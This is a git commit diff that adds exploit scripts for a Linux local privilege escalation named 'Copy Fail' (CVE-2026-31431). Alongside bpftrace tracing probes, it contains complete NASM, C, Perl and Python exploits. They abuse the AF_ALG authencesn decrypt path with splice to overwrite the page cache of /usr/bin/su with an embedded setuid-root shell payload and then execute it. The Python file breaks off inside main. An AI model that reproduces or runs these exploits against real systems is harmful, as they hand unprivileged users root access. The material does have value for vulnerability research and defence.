init commit

This commit is contained in:
Axura 2026-05-18 14:31:05 +08:00
parent 4ba9656827
commit 31ac27ea2c
11 changed files with 1556 additions and 0 deletions

1
README.md Normal file
View file

@ -0,0 +1 @@
This is a repository that stores artifacts, exploit scripts for the writeup at [https://4xura.com](https://4xura.com/) , targeting the Linux LPE named "Copy Fail".

View file

@ -0,0 +1,6 @@
kprobe:af_alg_sendmsg /comm == "copyfail_poc"/
{
$msg = (struct msghdr *)arg1;
printf("af_alg_sendmsg: size=0x%lx msg_flags=0x%x\n",
arg2, $msg->msg_flags);
}

View file

@ -0,0 +1,6 @@
kprobe:crypto_authenc_esn_decrypt /comm == "copyfail_poc"/
{
$req = (struct aead_request *)arg0;
printf("authencesn_decrypt: assoclen=0x%x cryptlen=0x%x\n",
$req->assoclen, $req->cryptlen);
}

View file

@ -0,0 +1,12 @@
kprobe:filemap_splice_read /comm == "copyfail_poc"/
{
$in = (struct file *)arg0;
$ppos = (loff_t *)arg1;
printf("filemap_splice_read: pos=0x%llx ino=%lu\n",
*$ppos, $in->f_inode->i_ino);
}
kprobe:splice_folio_into_pipe /comm == "copyfail_poc"/
{
printf("splice_folio_into_pipe\n");
}

344
exploit-scripts/exploit.asm Normal file
View file

@ -0,0 +1,344 @@
; CopyFail CVE-2026-31431 Linux LPE exploit, x86_64 NASM version.
;
; Build:
; nasm -f elf64 exploit.asm -o exploit.o
; ld -o exploit_asm exploit.o
;
; Input:
; payload.pwnkit.elf must exist in the build directory. Generate it with the
; compact ELF carrier workflow from section 7.3.1.1.
BITS 64
global _start
%define SYS_write 1
%define SYS_open 2
%define SYS_close 3
%define SYS_pipe 22
%define SYS_socket 41
%define SYS_accept 43
%define SYS_recvfrom 45
%define SYS_sendmsg 46
%define SYS_bind 49
%define SYS_setsockopt 54
%define SYS_execve 59
%define SYS_exit 60
%define SYS_splice 275
%define AF_ALG 38
%define SOCK_SEQPACKET 5
%define SOL_ALG 279
%define ALG_SET_KEY 1
%define ALG_SET_IV 2
%define ALG_SET_OP 3
%define ALG_SET_AEAD_ASSOCLEN 4
%define ALG_SET_AEAD_AUTHSIZE 5
%define MSG_MORE 0x8000
%define O_RDONLY 0
%define RXBUF_SIZE 8192
section .text
_start:
lea rbx, [rel target_su]
; If argv[1] exists, treat it as the full target path.
mov rax, [rsp]
cmp rax, 2
jb .open_target
mov rbx, [rsp + 16]
.open_target:
lea rdi, [rel msg_target]
mov rsi, msg_target_len
call print
mov rdi, rbx
call puts
mov rax, SYS_open
mov rdi, rbx
mov rsi, O_RDONLY
xor rdx, rdx
syscall
call check
mov [file_fd], eax
xor r12, r12 ; payload offset
.patch_loop:
cmp r12, payload_len
jae .execute_target
call open_authencesn_socket
lea rsi, [rel payload]
add rsi, r12
call queue_aad
mov rdi, [file_fd]
mov rsi, [op_fd]
mov rdx, r12
call splice_target_window
mov rdi, [op_fd]
mov rsi, r12
call trigger_decrypt
mov rdi, [op_fd]
call close_fd
mov rdi, [tfm_fd]
call close_fd
add r12, 4
jmp .patch_loop
.execute_target:
mov rdi, [file_fd]
call close_fd
lea rdi, [rel msg_exec]
mov rsi, msg_exec_len
call print
mov rax, SYS_execve
mov rdi, rbx
lea rsi, [rel exec_argv]
xor rdx, rdx
syscall
jmp fatal
open_authencesn_socket:
mov rax, SYS_socket
mov rdi, AF_ALG
mov rsi, SOCK_SEQPACKET
xor rdx, rdx
syscall
call check
mov [tfm_fd], eax
mov rax, SYS_bind
mov edi, [tfm_fd]
lea rsi, [rel sockaddr_alg]
mov rdx, sockaddr_alg_len
syscall
call check
mov rax, SYS_setsockopt
mov edi, [tfm_fd]
mov rsi, SOL_ALG
mov rdx, ALG_SET_KEY
lea r10, [rel keyblob]
mov r8, keyblob_len
syscall
call check
mov rax, SYS_setsockopt
mov edi, [tfm_fd]
mov rsi, SOL_ALG
mov rdx, ALG_SET_AEAD_AUTHSIZE
xor r10, r10
mov r8, 4
syscall
call check
mov rax, SYS_accept
mov edi, [tfm_fd]
xor rsi, rsi
xor rdx, rdx
syscall
call check
mov [op_fd], eax
ret
; rsi = pointer to the next 4-byte payload chunk.
queue_aad:
mov dword [aad], 0x41414141
mov eax, [rsi]
mov [aad + 4], eax
lea rax, [rel aad]
mov [iov], rax
mov qword [iov + 8], 8
mov qword [msg_hdr + 0], 0
mov dword [msg_hdr + 8], 0
lea rax, [rel iov]
mov qword [msg_hdr + 16], rax
mov qword [msg_hdr + 24], 1
lea rax, [rel cbuf]
mov qword [msg_hdr + 32], rax
mov qword [msg_hdr + 40], cbuf_len
mov dword [msg_hdr + 48], 0
mov qword [cbuf + 0], 20 ; CMSG_LEN(sizeof(uint32_t))
mov dword [cbuf + 8], SOL_ALG
mov dword [cbuf + 12], ALG_SET_OP
mov dword [cbuf + 16], 0 ; ALG_OP_DECRYPT
mov qword [cbuf + 24], 36 ; CMSG_LEN(sizeof(struct af_alg_iv)+16)
mov dword [cbuf + 32], SOL_ALG
mov dword [cbuf + 36], ALG_SET_IV
mov dword [cbuf + 40], 16 ; ivlen
mov qword [cbuf + 44], 0
mov qword [cbuf + 52], 0
mov qword [cbuf + 64], 20 ; CMSG_LEN(sizeof(uint32_t))
mov dword [cbuf + 72], SOL_ALG
mov dword [cbuf + 76], ALG_SET_AEAD_ASSOCLEN
mov dword [cbuf + 80], 8
mov rax, SYS_sendmsg
mov edi, [op_fd]
lea rsi, [rel msg_hdr]
mov rdx, MSG_MORE
syscall
call check
ret
; rdi = file fd, rsi = op fd, rdx = target offset.
splice_target_window:
mov [saved_op_fd], rsi
lea rax, [rdx + 4]
mov [splice_len], rax
mov qword [splice_off], 0
mov rax, SYS_pipe
lea rdi, [rel pipefd]
syscall
call check
mov rax, SYS_splice
mov rdi, [file_fd]
lea rsi, [rel splice_off]
mov edx, [pipefd + 4]
xor r10, r10
mov r8, [splice_len]
xor r9, r9
syscall
call check
mov rax, SYS_splice
mov edi, [pipefd]
xor rsi, rsi
mov rdx, [saved_op_fd]
xor r10, r10
mov r8, [splice_len]
xor r9, r9
syscall
call check
mov edi, [pipefd]
call close_fd
mov edi, [pipefd + 4]
call close_fd
ret
; rdi = op fd, rsi = target offset.
trigger_decrypt:
lea rdx, [rsi + 8]
cmp rdx, RXBUF_SIZE
ja fatal
mov rax, SYS_recvfrom
lea rsi, [rel rxbuf]
xor r10, r10
xor r8, r8
xor r9, r9
syscall
; Authentication failure is expected. Ignore recvfrom's return value.
ret
close_fd:
mov rax, SYS_close
syscall
ret
print:
mov rdx, rsi
mov rsi, rdi
mov rax, SYS_write
mov rdi, 1
syscall
ret
puts:
push rdi
xor rcx, rcx
.len:
cmp byte [rdi + rcx], 0
je .write
inc rcx
jmp .len
.write:
pop rdi
mov rsi, rcx
call print
lea rdi, [rel nl]
mov rsi, 1
call print
ret
check:
test rax, rax
js fatal
ret
fatal:
lea rdi, [rel msg_fail]
mov rsi, msg_fail_len
call print
mov rax, SYS_exit
mov rdi, 1
syscall
section .data
target_su db "/usr/bin/su", 0
exec_arg0 db "su", 0
exec_argv dq exec_arg0, 0
nl db 10
msg_target db "[+] target : "
msg_target_len equ $ - msg_target
msg_exec db "[+] payload staged into page cache, executing target...", 10
msg_exec_len equ $ - msg_exec
msg_fail db "[-] syscall failed", 10
msg_fail_len equ $ - msg_fail
sockaddr_alg:
dw AF_ALG
db "aead", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
dd 0
dd 0
db "authencesn(hmac(sha256),cbc(aes))", 0
times 64 - ($ - sockaddr_alg - 24) db 0
sockaddr_alg_len equ $ - sockaddr_alg
keyblob:
dw 8 ; rtattr.rta_len
dw 1 ; CRYPTO_AUTHENC_KEYA_PARAM
dd 0x10000000 ; htonl(16)
times 32 db 0
keyblob_len equ $ - keyblob
payload:
incbin "payload.pwnkit.elf"
payload_end:
times 3 db 0
payload_len equ payload_end - payload
section .bss
file_fd resq 1
tfm_fd resq 1
op_fd resq 1
saved_op_fd resq 1
pipefd resd 2
splice_off resq 1
splice_len resq 1
aad resb 8
iov resq 2
msg_hdr resb 56
cbuf resb 88
cbuf_len equ 88
rxbuf resb RXBUF_SIZE

274
exploit-scripts/exploit.c Normal file
View file

@ -0,0 +1,274 @@
/**
* Title : CopyFail CVE-2026-31431 Linux LPE exploit
* Date : 2026-05-15
* Author : Axura (@4xura) - https://4xura.com
*
* Description:
* ------------
* Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte
* destination-side scratch write into a page-cache overwrite primitive.
* The exploit places the controlled 4-byte value in AAD[4:8], splices a
* file-backed page range into the AEAD request, triggers decrypt, and
* repeats that primitive until the replacement payload is staged into the
* target executable's page cache.
*
* Usage:
* ------
* gcc -static -Wall -Wextra -O2 -o exploit exploit.c
* ./exploit
* DEBUG=1 ./exploit
* ./exploit <target_basename>
*
* Notes:
* ------
* Replace PAYLOAD_BYTES with the final replacement byte sequence to stage
* into the target executable for arbitrary code execution.
* The default target is /usr/bin/su. Authentication failure during recv()
* is expected; the exploit only requires authencesn() to execute far enough
* for the 4-byte scratch write to occur before the error is returned.
* Provided for educational use. Use responsibly.
*
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
enum {
CRYPTO_AUTHENC_KEYA_UNSPEC,
CRYPTO_AUTHENC_KEYA_PARAM,
};
struct crypto_authenc_key_param {
uint32_t enckeylen;
};
static int debug_enabled;
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
/*
* [ SHELLCODE ]
* Replacement bytes to stage into the target executable.
*
* Each loop iteration below consumes 4 bytes from this array and turns them
* into one page-cache overwrite primitive.
*/
static const unsigned char PAYLOAD_BYTES[] = {
/* TODO: insert replacement bytes here (default: exec("/bin/sh)) */
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES);
static void open_authencesn_socket(int *tfm_fd, int *op_fd)
{
struct {
struct rtattr rta;
struct crypto_authenc_key_param param;
unsigned char keys[16 + 16];
} keyblob = {
.rta = {
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
},
.param = {
.enckeylen = htonl(16),
},
};
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
};
memset(keyblob.keys, 0x00, sizeof(keyblob.keys));
*tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (*tfm_fd < 0)
die("socket(AF_ALG)");
if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(authencesn)");
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY,
&keyblob, sizeof(keyblob)) < 0)
die("setsockopt(ALG_SET_KEY)");
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE,
NULL, 4) < 0)
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
*op_fd = accept(*tfm_fd, NULL, NULL);
if (*op_fd < 0)
die("accept");
}
static void queue_aad(int op_fd, const unsigned char chunk[4])
{
unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] };
unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0};
unsigned char cbuf[
CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(ivbuf)) +
CMSG_SPACE(sizeof(uint32_t))
] = {0};
struct af_alg_iv *iv = (void *)ivbuf;
struct iovec iov = {
.iov_base = aad,
.iov_len = sizeof(aad),
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
uint32_t op = 0; /* ALG_OP_DECRYPT */
uint32_t assoclen = 8;
/*
* AAD layout:
*
* +------+------+------+------+------+------+------+------+
* | A | A | A | A | w0 | w1 | w2 | w3 |
* +------+------+------+------+------+------+------+------+
*
* Bytes 4..7 become seqno_lo, which authencesn later writes.
*/
iv->ivlen = 16;
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf));
memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
die("sendmsg(AAD)");
}
static void splice_target_window(int file_fd, int op_fd, off_t target_offset)
{
int pipefd[2];
loff_t splice_off = 0;
size_t splice_len = (size_t)target_offset + 4;
/*
* Imported layout:
*
* file[0 : target_offset] -> ciphertext region
* file[target_offset : +4] -> preserved tag tail
*
* authsize = 4 makes those last 4 imported bytes sit exactly where
* authencesn later performs its scratch write.
*/
if (pipe(pipefd) < 0)
die("pipe");
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
die("splice(file -> pipe)");
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
die("splice(pipe -> AF_ALG)");
close(pipefd[0]);
close(pipefd[1]);
}
static void trigger_decrypt(int op_fd, off_t target_offset)
{
size_t rx_len = (size_t)target_offset + 8;
unsigned char *outbuf = malloc(rx_len);
ssize_t n;
if (!outbuf)
die("malloc(recv)");
n = recv(op_fd, outbuf, rx_len, 0);
if (debug_enabled && n < 0)
printf(" [-] recv() returned: %s\n", strerror(errno));
free(outbuf);
}
static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4])
{
int tfm_fd, op_fd;
if (debug_enabled) {
printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n",
(unsigned long long)target_offset,
chunk[0], chunk[1], chunk[2], chunk[3]);
}
open_authencesn_socket(&tfm_fd, &op_fd);
queue_aad(op_fd, chunk);
splice_target_window(file_fd, op_fd, target_offset);
trigger_decrypt(op_fd, target_offset);
close(op_fd);
close(tfm_fd);
}
int main(int argc, char **argv)
{
const char *target = "/usr/bin/su";
int file_fd;
size_t i;
if (getenv("DEBUG"))
debug_enabled = 1;
if (argc > 1) {
static char path[256];
snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]);
target = path;
}
printf("[+] target : %s\n", target);
printf("[+] payload : %zu bytes\n", PAYLOAD_LEN);
printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n");
file_fd = open(target, O_RDONLY);
if (file_fd < 0)
die("open(target)");
for (i = 0; i < PAYLOAD_LEN; i += 4)
overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i);
close(file_fd);
printf("[+] payload staged into page cache, executing target...\n");
execl("/bin/su", "su", NULL);
die("execl(su)");
return 0;
}

181
exploit-scripts/exploit.pl Normal file
View file

@ -0,0 +1,181 @@
#!/usr/bin/env perl
#
# CopyFail CVE-2026-31431 Linux LPE exploit, Perl version.
#
# Usage:
# perl exploit.pl [target_path] [payload_elf]
# COPYFAIL_DEBUG=1 perl exploit.pl
#
# Defaults:
# target_path = /usr/bin/su
# payload_elf = ./payload.pwnkit.elf
use strict;
use warnings;
use Config;
die "x86_64 Perl required\n" unless $Config{ptrsize} == 8;
use constant {
SYS_WRITE => 1,
SYS_OPEN => 2,
SYS_CLOSE => 3,
SYS_PIPE => 22,
SYS_SOCKET => 41,
SYS_ACCEPT => 43,
SYS_RECVFROM => 45,
SYS_SENDMSG => 46,
SYS_BIND => 49,
SYS_SETSOCKOPT => 54,
SYS_EXECVE => 59,
SYS_SPLICE => 275,
AF_ALG => 38,
SOCK_SEQPACKET => 5,
SOL_ALG => 279,
ALG_SET_KEY => 1,
ALG_SET_IV => 2,
ALG_SET_OP => 3,
ALG_SET_AEAD_ASSOCLEN => 4,
ALG_SET_AEAD_AUTHSIZE => 5,
MSG_MORE => 0x8000,
O_RDONLY => 0,
};
my $DEBUG = $ENV{COPYFAIL_DEBUG} ? 1 : 0;
sub ptr {
return unpack("Q<", pack("P", $_[0]));
}
sub xsyscall {
my ($name, @args) = @_;
my $ret = syscall(@args);
die "$name: $!\n" if !defined($ret) || $ret < 0;
return $ret;
}
sub read_payload {
my ($path) = @_;
open(my $fh, "<:raw", $path) or die "open($path): $!\n";
local $/;
my $payload = <$fh>;
close($fh);
die "empty payload: $path\n" unless defined($payload) && length($payload);
return $payload;
}
sub open_authencesn_socket {
my $tfm = xsyscall("socket(AF_ALG)", SYS_SOCKET, AF_ALG, SOCK_SEQPACKET, 0);
my $sockaddr_alg = pack(
"S< a14 L< L< a64",
AF_ALG,
"aead" . ("\0" x 10),
0,
0,
"authencesn(hmac(sha256),cbc(aes))"
);
xsyscall("bind(authencesn)", SYS_BIND, $tfm, $sockaddr_alg, length($sockaddr_alg));
my $keyblob = pack("S< S< N", 8, 1, 16) . ("\0" x 32);
xsyscall("setsockopt(ALG_SET_KEY)",
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_KEY, $keyblob, length($keyblob));
xsyscall("setsockopt(ALG_SET_AEAD_AUTHSIZE)",
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 0, 4);
my $op = xsyscall("accept", SYS_ACCEPT, $tfm, 0, 0);
return ($tfm, $op);
}
sub queue_aad {
my ($op, $chunk) = @_;
my $aad = "AAAA" . $chunk;
my $iov = pack("Q< Q<", ptr($aad), length($aad));
my $cbuf =
pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_OP, 0) .
pack("Q< L< L< L< a16 x4", 36, SOL_ALG, ALG_SET_IV, 16, "\0" x 16) .
pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, 8);
my $msg = pack(
"Q< L< x4 Q< Q< Q< Q< L< x4",
0, 0,
ptr($iov), 1,
ptr($cbuf), length($cbuf),
0
);
xsyscall("sendmsg(AAD)", SYS_SENDMSG, $op, $msg, MSG_MORE);
}
sub splice_target_window {
my ($file_fd, $op, $target_offset) = @_;
my $pipebuf = "\0" x 8;
xsyscall("pipe", SYS_PIPE, $pipebuf);
my ($rfd, $wfd) = unpack("l< l<", $pipebuf);
my $splice_len = $target_offset + 4;
my $splice_off = pack("q<", 0);
xsyscall("splice(file -> pipe)",
SYS_SPLICE, $file_fd, $splice_off, $wfd, 0, $splice_len, 0);
xsyscall("splice(pipe -> AF_ALG)",
SYS_SPLICE, $rfd, 0, $op, 0, $splice_len, 0);
syscall(SYS_CLOSE, $rfd);
syscall(SYS_CLOSE, $wfd);
}
sub trigger_decrypt {
my ($op, $target_offset) = @_;
my $rx_len = $target_offset + 8;
my $rxbuf = "\0" x $rx_len;
my $ret = syscall(SYS_RECVFROM, $op, $rxbuf, $rx_len, 0, 0, 0);
print " [-] recv() returned: $!\n" if $DEBUG && defined($ret) && $ret < 0;
}
sub overwrite_4_bytes {
my ($file_fd, $target_offset, $chunk) = @_;
$chunk .= "\0" x (4 - length($chunk)) if length($chunk) < 4;
print sprintf("[+] overwrite \@ 0x%x: %s\n", $target_offset, unpack("H*", $chunk))
if $DEBUG;
my ($tfm, $op) = open_authencesn_socket();
queue_aad($op, $chunk);
splice_target_window($file_fd, $op, $target_offset);
trigger_decrypt($op, $target_offset);
syscall(SYS_CLOSE, $op);
syscall(SYS_CLOSE, $tfm);
}
my $target = $ARGV[0] // "/usr/bin/su";
my $payload_path = $ARGV[1] // "./payload.pwnkit.elf";
my $payload = read_payload($payload_path);
my $payload_len = length($payload);
print "[+] target : $target\n";
print "[+] payload : $payload_len bytes from $payload_path\n";
print "[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n";
my $file_fd = xsyscall("open(target)", SYS_OPEN, $target, O_RDONLY, 0);
for (my $off = 0; $off < $payload_len; $off += 4) {
overwrite_4_bytes($file_fd, $off, substr($payload, $off, 4));
}
syscall(SYS_CLOSE, $file_fd);
print "[+] payload staged into page cache, executing target...\n";
my $arg0 = "su\0";
my $argv = pack("Q< Q<", ptr($arg0), 0);
syscall(SYS_EXECVE, $target, $argv, 0);
die "execve($target): $!\n";

219
exploit-scripts/exploit.py Normal file
View file

@ -0,0 +1,219 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : CopyFail CVE-2026-31431 Linux LPE exploit
# Date : 2026-05-15
# Author : Axura (@4xura) - https://4xura.com
#
# Description:
# ------------
# AAD[4:8] -> 4-byte controlled write value
# authsize = 4 -> target bytes sit in the imported tag tail
# splice len=t+4 -> the last 4 imported file bytes are the overwrite target
# recv() -> triggers authencesn() scratch write, even if auth fails
#
# Usage:
# ------
# python3 exploit.py
# DEBUG=1 python3 exploit.py [target_basename]
# python3 exploit.py [target_basename]
#
# Notes:
# ------
# Provided for educational purposes only. Use responsibly.
#
import os
import sys
import zlib
import socket
DEBUG = bool(os.getenv("DEBUG"))
def hex_bytes(s: str) -> bytes:
return bytes.fromhex(s)
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
MSG_MORE = 0x8000
# authenc key blob:
# [rtattr|authenc param|16-byte auth key|16-byte AES key]
AUTHENC_KEY_BLOB = hex_bytes("0800010000000010" + "0" * 64)
def open_authencesn_socket() -> tuple[socket.socket, socket.socket]:
"""
Open the vulnerable AEAD transform and one accepted request socket.
userspace:
socket(AF_ALG) -> bind("aead", "authencesn(...)") -> accept()
kernel:
AF_ALG family -> algif_aead -> authencesn decrypt callback later on recv()
"""
tfm = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY_BLOB)
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
op, _ = tfm.accept()
return tfm, op
def queue_aad(op: socket.socket, write_value: bytes) -> None:
"""
Queue 8 bytes of AAD. Bytes 4..7 become the later 4-byte overwrite.
AAD layout:
byte 0..3 = filler
byte 4..7 = controlled value written later by authencesn()
+------+------+------+------+------+------+------+------+
| A | A | A | A | w0 | w1 | w2 | w3 |
+------+------+------+------+------+------+------+------+
"""
zero = hex_bytes("00")
aad = b"A" * 4 + write_value
# Control messages:
# ALG_SET_OP -> decrypt
# ALG_SET_IV -> 16-byte IV
# ALG_SET_AEAD_ASSOCLEN -> assoclen = 8
op.sendmsg(
[aad],
[
(SOL_ALG, ALG_SET_OP, zero * 4),
(SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3),
],
MSG_MORE,
)
def splice_target_window(file_fd: int, op_fd: int, target_offset: int) -> None:
"""
Import the file window whose last 4 bytes are the overwrite target.
splice_len = target_offset + 4
so that the imported bytes are:
file[0 : target_offset] -> ciphertext region
file[target_offset : +4] -> preserved tag tail
authsize = 4 makes those last 4 bytes sit exactly where authencesn()
later performs its destination-side scratch write.
"""
splice_len = target_offset + 4
read_fd, write_fd = os.pipe()
try:
# file -> pipe
os.splice(file_fd, write_fd, splice_len, offset_src=0)
# pipe -> AF_ALG socket
os.splice(read_fd, op_fd, splice_len)
finally:
os.close(read_fd)
os.close(write_fd)
def trigger_decrypt(op: socket.socket, target_offset: int) -> None:
"""
Trigger the decrypt path.
The exploit does not require a successful decrypt. It only requires
authencesn() to execute far enough that:
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)
performs the 4-byte write before recv() reports authentication failure.
"""
try:
op.recv(8 + target_offset)
except OSError as e:
if DEBUG:
print(f" [-] recv() returned: {e}")
def overwrite_4_bytes(file_fd: int, target_offset: int, chunk: bytes) -> None:
"""
Apply one 4-byte overwrite primitive.
exploit geometry for one iteration:
AAD[4:8] = chunk
|
v
recv() -> authencesn() scratch write
|
v
file[target_offset : target_offset+4] in page cache becomes chunk
"""
tfm, op = open_authencesn_socket()
try:
if DEBUG:
print(
f"[+] overwrite @ 0x{target_offset:x}: "
f"{chunk.hex()} ({chunk.decode('latin1', errors='replace')})"
)
queue_aad(op, chunk)
splice_target_window(file_fd, op.fileno(), target_offset)
trigger_decrypt(op, target_offset)
finally:
op.close()
tfm.close()
def decompress_payload() -> bytes:
# zlib-compressed replacement bytes written into the target.
#
# After decompression:
# payload[0:4] -> overwrite at file offset 0x0
# payload[4:8] -> overwrite at file offset 0x4
# ...
#
# main() walks this buffer in 4-byte chunks and turns each chunk into one
# AAD[4:8] value for one exploit iteration.
payload_blob = hex_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
"e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
"190c0c0c0032c310d3"
)
return zlib.decompress(payload_blob)
def main() -> None:
target = "/usr/bin/su"
if len(sys.argv) > 1:
target = f"/usr/bin/{sys.argv[1]}"
payload = decompress_payload()
print(f"[+] target : {target}")
print(f"[+] payload : {len(payload)} bytes")
print("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write")
file_fd = os.open(target, os.O_RDONLY)
try:
# Each loop iteration patches one 4-byte slot in the target executable.
for target_offset in range(0, len(payload), 4):
